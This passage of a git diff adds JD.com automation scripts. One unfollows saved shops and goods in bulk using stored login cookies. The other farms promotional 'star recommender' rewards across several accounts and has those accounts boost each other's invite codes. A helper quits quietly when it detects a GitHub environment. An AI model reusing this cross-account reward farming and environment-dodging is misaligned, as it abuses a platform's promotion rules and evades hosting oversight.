`京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await requireConfig(); + await jdUnsubscribe(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdUnsubscribe() { + await Promise.all([ + goodsMain(), + shopMain() + ]) + //再次获取还有多少已关注的店铺与商品 + await Promise.all([ + getFollowGoods(), + getFollowShops() + ]) +} + +function showMsg() { + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已取消关注店铺】${$.unsubscribeShopsCount}个\n【已取消关注商品】${$.unsubscribeGoodsCount}个\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个\n`); + } else { + $.log(`\n【京东账号${$.index}】${$.nickName}\n【已取消关注店铺】${$.unsubscribeShopsCount}个\n【已取消关注商品】${$.unsubscribeGoodsCount}个\n【还剩关注店铺】${$.shopsTotalNum}个\n【还剩关注商品】${$.goodsTotalNum}个\n`); + } +} + +async function goodsMain() { + $.unsubscribeGoodsCount = 0; + if ((goodPageSize * 1) !== 0) { + await unsubscribeGoods(); + const le = Math.ceil($.goodsTotalNum / 20) - 1 >= 0 ? Math.ceil($.goodsTotalNum / 20) - 1 : 0; + for (let i = 0; i < new Array(le).length; i++) { + await $.wait(100); + await unsubscribeGoods(); + } + } else { + console.log(`\n您设置的是不取关商品\n`); + } +} + +async function unsubscribeGoods() { + let followGoods = await getFollowGoods(); + if (followGoods.iRet === '0') { + if (followGoods.totalNum > 0) { + for (let item of followGoods['data']) { + console.log(`是否匹配::${item.commTitle.indexOf(stopGoods.replace(/\ufffc|\s*/g, ''))}`) + if (stopGoods && item.commTitle.indexOf(stopGoods.replace(/\ufffc|\s*/g, '')) > -1) { + console.log(`匹配到了您设定的商品--${stopGoods},不在进行取消关注商品`) + break; + } + let res = await unsubscribeGoodsFun(item.commId); + if (res.iRet === 0 && res.errMsg === 'success') { + console.log(`取消关注商品---${item.commTitle.substring(0, 20).concat('...')}---成功`) + $.unsubscribeGoodsCount++; + console.log(`已成功取消关注【商品】:${$.unsubscribeGoodsCount}个\n`) + } else { + console.log(`取关商品失败:${JSON.stringify(res)}`) + console.log(`取消关注商品---${item.commTitle.substring(0, 20).concat('...')}---失败\n`) + } + await $.wait(1000); + } + } + } else { + console.log(`获取已关注商品失败:${JSON.stringify(followGoods)}`); + } +} + +function getFollowGoods() { + $.goodsTotalNum = 0; + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}/comm/FavCommQueryFilter?cp=1&pageSize=20&_=${Date.now()}&category=0&promote=0&cutPrice=0&coupon=0&stock=0&areaNo=1_72_4139_0&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + headers: { + "Host": "wq.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://wqs.jd.com/my/fav/goods_fav.shtml?ptag=37146.4.1&sceneval=2&jxsid=15963530166144677970", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.get(option, async (err, resp, data) => { + try { + data = JSON.parse(data.slice(14, -13)); + if (data.iRet === '0') { + $.goodsTotalNum = data.totalNum; + console.log(`当前已关注【商品】:${$.goodsTotalNum}个\n`) + } else { + $.goodsTotalNum = 0; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function unsubscribeGoodsFun(commId) { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}/comm/FavCommDel?commId=${commId}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKP&g_ty=ls`, + headers: { + "Host": "wq.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://wqs.jd.com/my/fav/goods_fav.shtml?ptag=37146.4.1&sceneval=2&jxsid=15963530166144677970', + 'Cookie': cookie, + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.get(option, (err, resp, data) => { + try { + data = JSON.parse(data.slice(14, -13).replace(',}', '}')); + // console.log('data', data); + // console.log('data', data.errMsg); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +async function shopMain() { + $.unsubscribeShopsCount = 0; + if ((shopPageSize * 1) !== 0) { + await unsubscribeShops(); + const le = Math.ceil($.shopsTotalNum / 20) - 1 >= 0 ? Math.ceil($.shopsTotalNum / 20) - 1 : 0; + for (let i = 0; i < new Array(le).length; i++) { + await $.wait(100); + await unsubscribeShops(); + } + } else { + console.log(`\n您设置的是不取关店铺\n`); + } +} + +async function unsubscribeShops() { + let followShops = await getFollowShops(); + if (followShops.iRet === '0') { + if (followShops.totalNum > 0) { + for (let item of followShops.data) { + if (stopShop && (item.shopName && item.shopName.indexOf(stopShop.replace(/\s*/g, '')) > -1)) { + console.log(`匹配到了您设定的店铺--${item.shopName},不在进行取消关注店铺`) + break; + } + let res = await unsubscribeShopsFun(item.shopId); + if (res.iRet === '0') { + console.log(`取消已关注店铺---${item.shopName}----成功`) + $.unsubscribeShopsCount++; + console.log(`已成功取消关注【店铺】:${$.unsubscribeShopsCount}个\n`) + } else { + console.log(`取消已关注店铺---${item.shopName}----失败\n`) + } + await $.wait(1000); + } + } + } else { + console.log(`获取已关注店铺失败:${JSON.stringify(followShops)}`); + } +} + +function getFollowShops() { + $.shopsTotalNum = 0; + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}/shop/QueryShopFavList?cp=1&pageSize=20&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKA&g_ty=ls`, + headers: { + "Host": "wq.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://wqs.jd.com/my/fav/shop_fav.shtml?sceneval=2&jxsid=15963530166144677970&ptag=7155.1.9", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.get(option, (err, resp, data) => { + try { + data = JSON.parse(data.slice(14, -13)); + if (data.iRet === '0') { + $.shopsTotalNum = data.totalNum; + console.log(`当前已关注【店铺】:${$.shopsTotalNum}个\n`) + } else { + $.shopsTotalNum = 0; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function unsubscribeShopsFun(shopId) { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}/shop/DelShopFav?shopId=${shopId}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKG&g_ty=ls`, + headers: { + "Host": "wq.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://wqs.jd.com/my/fav/shop_fav.shtml?sceneval=2&jxsid=15960121319555534107&ptag=7155.1.9', + 'Cookie': cookie, + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.get(option, (err, resp, data) => { + try { + data = JSON.parse(data.slice(14, -13)); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function requireConfig() { + return new Promise(resolve => { + if ($.isNode() && process.env.UN_SUBSCRIBES) { + if (process.env.UN_SUBSCRIBES.indexOf('&') > -1) { + $.UN_SUBSCRIBES = process.env.UN_SUBSCRIBES.split('&'); + } else if (process.env.UN_SUBSCRIBES.indexOf('\n') > -1) { + $.UN_SUBSCRIBES = process.env.UN_SUBSCRIBES.split('\n'); + } else if (process.env.UN_SUBSCRIBES.indexOf('\\n') > -1) { + $.UN_SUBSCRIBES = process.env.UN_SUBSCRIBES.split('\\n'); + } else { + $.UN_SUBSCRIBES = process.env.UN_SUBSCRIBES.split(); + } + console.log(`您环境变量 UN_SUBSCRIBES 设置的内容为:\n${JSON.stringify($.UN_SUBSCRIBES)}`) + goodPageSize = $.UN_SUBSCRIBES[0] || goodPageSize; + shopPageSize = $.UN_SUBSCRIBES[1] || shopPageSize; + stopGoods = $.UN_SUBSCRIBES[2] || stopGoods; + stopShop = $.UN_SUBSCRIBES[3] || stopShop; + } + resolve() + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_xtg.js b/jd_xtg.js new file mode 100644 index 0000000..8684e16 --- /dev/null +++ b/jd_xtg.js @@ -0,0 +1,617 @@ +/* +家电星推官脚本 +Last Modified time: 2021-05-31 9:15:04 +家电星推官活动地址:https://3.cn/-1eD1VOa?_ts=1622072397979&utm_source=iosapp&utm_medium=appshare&utm_campaign=t_335139774&utm_term=CopyURL&ad_od=share&gx=RnFtxGZZPTONndRP--twDLBLeC4DoX3_2wf2 +活动时间:2021年5月27日 00:00:00-2021年6月18日 23:59:59 +京豆先到先得!!!!!!!!!!! +出现任务做完没领取的情况,就再运行一次脚本 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#家电星推官 +0 0 0 * * * jd_xtg.js, tag=家电星推官, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "0 0 0 * * *" script-path=jd_xtg.js,tag=家电星推官 + +===============Surge================= +家电星推官 = type=cron,cronexp="0 0 0 * * *",wake-system=1,timeout=3600,script-path=jd_xtg.js + +============小火箭========= +家电星推官 = type=cron,script-path=jd_xtg.js, cronexpr="0 0 0 * * *", timeout=3600, enable=true + */ +const $ = new Env("家电星推官"); +const activeEndTime = "2021/06/18 23:59:59+08:00"; //活动结束时间 +const notify = $.isNode() ? require("./sendNotify") : ""; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +!function(n){"use strict";function r(n,r){var t=(65535&n)+(65535&r);return(n>>16)+(r>>16)+(t>>16)<<16|65535&t}function t(n,r){return n<>>32-r}function u(n,u,e,o,c,f){return r(t(r(r(u,n),r(o,f)),c),e)}function e(n,r,t,e,o,c,f){return u(r&t|~r&e,n,r,o,c,f)}function o(n,r,t,e,o,c,f){return u(r&e|t&~e,n,r,o,c,f)}function c(n,r,t,e,o,c,f){return u(r^t^e,n,r,o,c,f)}function f(n,r,t,e,o,c,f){return u(t^(r|~e),n,r,o,c,f)}function i(n,t){n[t>>5]|=128<>>9<<4)]=t;var u,i,a,h,g,l=1732584193,d=-271733879,v=-1732584194,C=271733878;for(u=0;u>5]>>>r%32&255);return t}function h(n){var r,t=[];for(t[(n.length>>2)-1]=void 0,r=0;r>5]|=(255&n.charCodeAt(r/8))<16&&(e=i(e,8*n.length)),t=0;t<16;t+=1)o[t]=909522486^e[t],c[t]=1549556828^e[t];return u=i(o.concat(h(r)),512+8*r.length),a(i(c.concat(u),640))}function d(n){var r,t,u="";for(t=0;t>>4&15)+"0123456789abcdef".charAt(15&r);return u}function v(n){return unescape(encodeURIComponent(n))}function C(n){return g(v(n))}function A(n){return d(C(n))}function m(n,r){return l(v(n),v(r))}function s(n,r){return d(m(n,r))}function b(n,r,t){return r?t?m(r,n):s(r,n):t?C(n):A(n)}$.md5=b}(); +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = "", allMsg = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...jsonParse($.getdata("CookiesJD") || "[]").map((item) => item.cookie), + ].filter((item) => !!item); +} +let starID = [ + { + "starId": "flp-songqian", + }, + { + "starId": "ykd-liutao", + } +]; +$.allShareId = {}; +const JD_API_HOST = "https://guardianstarjd.m.jd.com/star"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/bean/signIndex.action", + { "open-url": "https://bean.m.jd.com/bean/signIndex.action" } + ); + return; + } + cookie = cookiesArr[0]; + await starRanking(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + $.beanCount = 0; + $.jdNum = 0; + $.isLogin = true; + $.nickName = ""; + $.shareID = []; + await TotalBean(); + console.log( + `\n===============开始【京东账号${$.index}】${ + $.nickName || $.UserName + }==================\n` + ); + if (!$.isLogin) { + $.msg( + $.name, + `【提示】cookie已失效`, + `京东账号${$.index} ${ + $.nickName || $.UserName + }\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, + { "open-url": "https://bean.m.jd.com/bean/signIndex.action" } + ); + + if ($.isNode()) { + await notify.sendNotify( + `${$.name}cookie已失效 - ${$.UserName}`, + `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie` + ); + } + continue; + } + console.log(`一共${starID.length}个${$.name}任务,耗时会很久,京豆先到先得!!!!!!!!!!! +请提前知晓`); + // $.beanCount = beforeTotal && beforeTotal['base'].jdNum; + for (let index = 0; index < starID.length; index++) { + $.activeId = starID[index]['starId']; + console.log(`开始 【${$.activeId}】 星推官,加入店铺会员任务不做\n`); + $.j = index; + $.times = 0; + await JD_XTG(true); + await indexInfo();//抽奖 + } + await showMsg(); + } + } + if ($.isNode() && allMsg) { + await notify.sendNotify($.name, allMsg); + } + //助力功能 + for (let index = 0; index < starID.length; index++) { + $.invites = []; + $.activeId = starID[index]['starId']; + $.appIndex = index + 1; + console.log(`\n获取星推官【${$.activeId}】下的邀请码\n`) + for (let v = 0; v < cookiesArr.length; v++) { + cookie = cookiesArr[v]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = v + 1; + await initSuportInfo(); + } + if ($.invites.length > 0) { + $.allShareId[starID[index]['starId']] = $.invites; + } + } + if (!cookiesArr || cookiesArr.length < 2) return + for (let v = 0; v < cookiesArr.length; v++) { + cookie = cookiesArr[v]; + $.index = v + 1; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + console.log(`自己账号内部互助\n\n`); + for (let oneAppId in $.allShareId) { + let oneAcHelpList = $.allShareId[oneAppId]; + for (let j = 0; j < oneAcHelpList.length; j++) { + $.item = oneAcHelpList[j]; + if ($.UserName === $.item['userName']) continue; + if (!$.item['inviteId'] || $.item['max']) continue + console.log(`账号${$.index} ${$.UserName} 去助力账号 ${$.item['userName']}的第${$.item['index']}个星推官活动【${$.item['starId']}】,邀请码 【${$.item['inviteId']}】`) + $.canHelp = true; + $.activeId = $.item['starId']; + await doSupport($.item['inviteId']); + if (!$.canHelp) { + console.log(`助力机会已耗尽,跳出`); + break;//此处如果break,则遇到第一个活动就无助力机会时,不会继续助力第二个活动了 + } + } + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); +async function showMsg() { + let nowTime = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000; + if (nowTime > new Date(activeEndTime).getTime()) { + $.msg($.name, 'xtg', `请删除或禁用此脚本\n咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`) + } else { + if ($.beanCount) { + $.msg($.name, ``, `京东账号${$.index} ${$.nickName || $.UserName}\n星推官活动获得:${$.beanCount}京豆`); + allMsg += `京东账号${$.index} ${$.nickName || $.UserName}\n星推官活动获得:${$.beanCount}京豆\n`; + } + } +} +async function JD_XTG(flag = false) { + var skuCount = 15, meetingCount = 15; + await getHomePage(); + if ($.homeData && $.homeData.code === 200) { + let { dayTask, supportTask } = $.homeData.data; + if (flag) { + // console.log(`\n===========活动${$.j + 1}-[${starID[$.j]['starId']}] 助力码==========\n${shareId}\n`); + // $.shareID.push(shareId); + } + dayTask = dayTask.filter(vo => (vo['type'] === 'sku' || vo['type'] === 'meeting' || vo['type'] === 'followShop') && vo['finishCount'] !== vo['count']); + for (let item of dayTask) { + if (item['type'] === 'memberShop') { + console.log(`开通【${item['name']}】会员,跳过\n`); + continue + } + if (item['type'] === 'sku') { + meetingCount = item['count']; + console.log(`浏览【${item['name']}】(${item['finishCount']}/${item['count']}),需等待6秒`); + const res = await doTask(item['type'], item["id"]); + const t = Date.now(); + if (res && res.code === 200) { + await $.wait(6 * 1000) + // const b = `browse_task_${$.activeId}_${item["id"]}_${$.time('yyyyMMdd')}_${item['type']}_${t + 7 * 1000}`; + await getBrowsePrize(res.data); + // await getBrowsePrize(b); + } + } + if (item['type'] === 'meeting') { + skuCount = item['count']; + console.log(`浏览会场【${item['name']}】(${item['finishCount']}/${item['count']}),需等待6秒`); + const res = await doTask(item['type'], item["id"]); + const t = Date.now(); + if (res && res.code === 200) { + await $.wait(6 * 1000) + await getBrowsePrize(res.data); + } + } + if (item['type'] === 'followShop') { + console.log(`关注店铺【${item['name']}】(${item['finishCount']}/${item['count']})`); + await doTask(item['type'], item["id"], `followShop`); + } + } + dayTask = dayTask.filter(vo => (vo['type'] === 'sku' || vo['type'] === 'meeting' || vo['type'] === 'followShop') && vo['finishCount'] !== vo['count']); + if (dayTask && dayTask.length) { + $.times += 1; + console.log(`第 ${$.times + 1}次循环执行JD_XTG`) + // await JD_XTG(); + if ($.times <= Math.max(skuCount, meetingCount)) { + // console.log(`第 ${$.times + 1}次循环执行JD_XTG`) + await JD_XTG(); + } else { + console.log(`估计已死循环,不再执行JD_XTG\n`) + } + } else { + console.log(`${$.activeId}星推官任务已做完\n`) + } + } else { + console.log(`京东服务器返回无数据!`); + } +} +//获取邀请码 +function initSuportInfo() { + return new Promise(async (resolve) => { + const options = 